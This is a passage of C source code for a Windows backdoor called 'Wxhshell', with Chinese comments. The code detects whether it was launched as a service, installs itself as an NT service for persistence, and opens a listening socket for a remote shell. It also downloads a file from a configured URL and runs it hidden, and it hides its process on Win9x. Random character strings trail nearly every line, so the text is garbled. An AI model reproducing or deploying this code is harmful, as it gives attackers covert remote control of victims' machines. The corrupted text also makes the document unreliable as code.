ULONG InheritedFromUniqueProcessId; Zy;jp*Q
} PROCESS_BASIC_INFORMATION; F+Qnf'at1
e7{6<[k3+$
PROCNTQSIP NtQueryInformationProcess; 3C%|src
b|DU
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %7aJSuQN%
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *GBV[D[G,
(@xC-*
HANDLE hProcess; ?hc=w 2Ci
PROCESS_BASIC_INFORMATION pbi; vfv?QjR
~/-SKGzo-
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'iZwM>l\
if(NULL == hInst ) return 0; ecz-jZ!
`
Y,Z$U| U
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); stUv!
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hLgX0QV
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m?B=?;B9#
Fs $FR-x
if (!NtQueryInformationProcess) return 0; |gP) lR
*P/A&"i[E
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o4EY2
if(!hProcess) return 0; S|k@D2k=
9c k"JMla
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Dbj?l;'1
nA("
cD[,
CloseHandle(hProcess); /4pYhJ8S
lqL5V"2Y
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ArAe=m!u
if(hProcess==NULL) return 0; JvW7h(u7g
4_j_!QH87
HMODULE hMod; ov,
char procName[255]; V'W*'wo
unsigned long cbNeeded; ro<w8V9.a
p.g> +7
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); IO"P /Q
ciml:"nQ
CloseHandle(hProcess); wdBBx\FP
2ns,q0I
A
if(strstr(procName,"services")) return 1; // 以服务启动 BV>9U5
/]Y#*r8jRi
return 0; // 注册表启动 ~zac.:a8
} i*mU<:t
_[-MyU s
// 主模块 ),B/NZ/-
int StartWxhshell(LPSTR lpCmdLine) ^[m-PS(
{ \M@IKE
SOCKET wsl; 2SD
Z
BOOL val=TRUE;
&R4?]I
int port=0; Tb?X KO,
struct sockaddr_in door; _$@fCo0
ineSo8| @
if(wscfg.ws_autoins) Install(); Y_ne?/sZE
t!/~_}eD J
port=atoi(lpCmdLine); kjV>\e
VgYy7\?p
if(port<=0) port=wscfg.ws_port; {[Ri:^nHgL
T?!SEblP]
WSADATA data; "'Fvt-<^S7
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IO8 @u;&
,~Xe#eM
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; |&WYu,QQ4
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h'h8Mm
door.sin_family = AF_INET; H#hpaP;
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Hkia&nz'3
door.sin_port = htons(port); UF5_be,D
5p!{#r6m
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NwYQ6VEA
closesocket(wsl); M\CzV$\y
return 1; FO_}9 <s
} z5iCQ4C<
lN5PKsGl
if(listen(wsl,2) == INVALID_SOCKET) { leNX5 sX
closesocket(wsl); 0Q7<;'m
return 1; }[PwA[k'
} F3!@|/<w
Wxhshell(wsl); #BBDI
WSACleanup(); N5 ; z5E
DKMkCPX%
return 0; ;k#_/c
8i73iTg(
} Z9 ws{8@_
YiuV\al
// 以NT服务方式启动 b~>@x{
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Jf7H;ZM<
{ U
^O4HJ
DWORD status = 0; 2Q@na@s
DWORD specificError = 0xfffffff; wn_
>Vi1
dba_(I~y
serviceStatus.dwServiceType = SERVICE_WIN32; MYara;k
serviceStatus.dwCurrentState = SERVICE_START_PENDING; `{Oqb
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Wq}6RdY$ZA
serviceStatus.dwWin32ExitCode = 0; -wC}JVVcK
serviceStatus.dwServiceSpecificExitCode = 0; w]T_%mdk
serviceStatus.dwCheckPoint = 0; |#cqxr "
serviceStatus.dwWaitHint = 0; GOA
dhh-
g_l-@
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _7:Bxx4B
if (hServiceStatusHandle==0) return; *:
FS/ir
LNk :PD0m
status = GetLastError(); !+@70|gFF
if (status!=NO_ERROR) ~YW;'
{ bV(BwWm
serviceStatus.dwCurrentState = SERVICE_STOPPED; W%^!<bFk}m
serviceStatus.dwCheckPoint = 0; ^u$=<66
serviceStatus.dwWaitHint = 0; Z P|k3
serviceStatus.dwWin32ExitCode = status; ]Ri=*KZa
serviceStatus.dwServiceSpecificExitCode = specificError; BRu}"29
SetServiceStatus(hServiceStatusHandle, &serviceStatus); H'!OEZ
return; '*Dp2Y{7
} 0#Ug3_dfr
*(r9c(x a
serviceStatus.dwCurrentState = SERVICE_RUNNING; -b?M5P*:
serviceStatus.dwCheckPoint = 0; ]-#/wC[$l=
serviceStatus.dwWaitHint = 0; _,K[kVn
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ofoh4BL'1@
} R>:D&$[RD
C "@>NC_
// 处理NT服务事件,比如:启动、停止 RZpjr !R
VOID WINAPI NTServiceHandler(DWORD fdwControl) xE--)=<$
{ KV;q}EyG
switch(fdwControl) .0U[nt6
{ OzC%6;6h
case SERVICE_CONTROL_STOP: 85|u;Fxf
serviceStatus.dwWin32ExitCode = 0; b}Im>n!
serviceStatus.dwCurrentState = SERVICE_STOPPED; &I'J4gk[
serviceStatus.dwCheckPoint = 0; K9&Q@3V
serviceStatus.dwWaitHint = 0; { GCp5
{ VK*H1EH1
SetServiceStatus(hServiceStatusHandle, &serviceStatus); .tfal9
} p(GI02|n
return; 'M? ptu?f
case SERVICE_CONTROL_PAUSE: hUvA;E(qD
serviceStatus.dwCurrentState = SERVICE_PAUSED; v4 rO 0y=C
break; GGHeC/4
case SERVICE_CONTROL_CONTINUE: Iy*Q{H3[
serviceStatus.dwCurrentState = SERVICE_RUNNING; WixEnsJ
break; \+U;$.)3
case SERVICE_CONTROL_INTERROGATE: #Cs/.(<
break; Y~^R^J
}; 7],y(:[=v
SetServiceStatus(hServiceStatusHandle, &serviceStatus); P;gd!Yl<-
} {*hGe_^
{y@8E>y5$
// 标准应用程序主函数 =$#5Ge]b
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) aG =6(ec.
{ "Zn
nb*pOM
h|'|n/F
// 获取操作系统版本 45%D^~2~F
OsIsNt=GetOsVer(); M"K $.m@t
GetModuleFileName(NULL,ExeFile,MAX_PATH); Xu#?Lw
|)jR|8MAE
// 从命令行安装 ircL/:
if(strpbrk(lpCmdLine,"iI")) Install(); IR2Qc6+{
@0H0!9'
// 下载执行文件 @m`H~]AU
if(wscfg.ws_downexe) { 6_yatq5c
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) GYJ j$'
WinExec(wscfg.ws_filenam,SW_HIDE); FR'Nzi$
} L5d
YTLY
P$h) Y
if(!OsIsNt) { DTi^* Wj
// 如果时win9x,隐藏进程并且设置为注册表启动 vYLspZ;S
HideProc(); S%?>Mh?g
StartWxhshell(lpCmdLine); &dw=jHt
} c@]G;> o
else D2o|.e<r
if(StartFromService()) XD!}uDZ^
// 以服务方式启动 ]-X\n
StartServiceCtrlDispatcher(DispatchTable); SV95g@
else Um`KmM3
// 普通方式启动 Ik5-ooZ&{
StartWxhshell(lpCmdLine); ;&?ITV
i,Jz7OX
return 0; (A}c22qe
}